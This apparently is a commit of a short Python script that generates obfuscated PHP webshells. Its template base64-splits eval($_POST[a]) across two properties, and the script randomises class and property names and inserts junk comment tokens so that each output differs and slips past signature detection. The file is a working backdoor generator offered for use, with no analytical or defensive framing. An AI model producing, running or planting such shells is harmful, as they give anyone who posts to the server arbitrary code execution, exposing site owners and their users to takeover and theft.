new_contents: import random
  
  #author: pureqh
  #github: https://github.com/pureqh/webshell
  
  
  shell = '''<?php 
  class {0}{3}
          public ${1} = null;
          public ${2} = null;
          public ${6} = null;
          function __construct(){3}
          $this->{1} = 'ZXZhbCgkX1BPU';
          $this->{6} = '1RbYV0pOw==';
          $this->{2} = @base64_decode($this->{1}.$this->{6});
          @eval({5}.$this->{2}.{5});
          {4}{4}
  new {0}();
  ?>'''
  
  
  def random_keys(len):
      str = '`~-=!@#$%^&_+?<>|:[]abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
      return ''.join(random.sample(str,len))
  
  def random_name(len):
      str = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
      return ''.join(random.sample(str,len))   
      
  def build_webshell():
      className = random_name(4)
      parameter1 = random_name(5)
      parameter2 = random_name(6)
      lef = '''{'''
      rig = '''}'''
      disrupt = "\"/*"+random_keys(7)+"*/\""
      parameter3 = random_name(6)
      shellc = shell.format(className,parameter1,parameter2,lef,rig,disrupt,parameter3)
      return shellc
  
  
  if __name__ == '__main__':
      print (build_webshell())
  
subject: Create php_webshell.py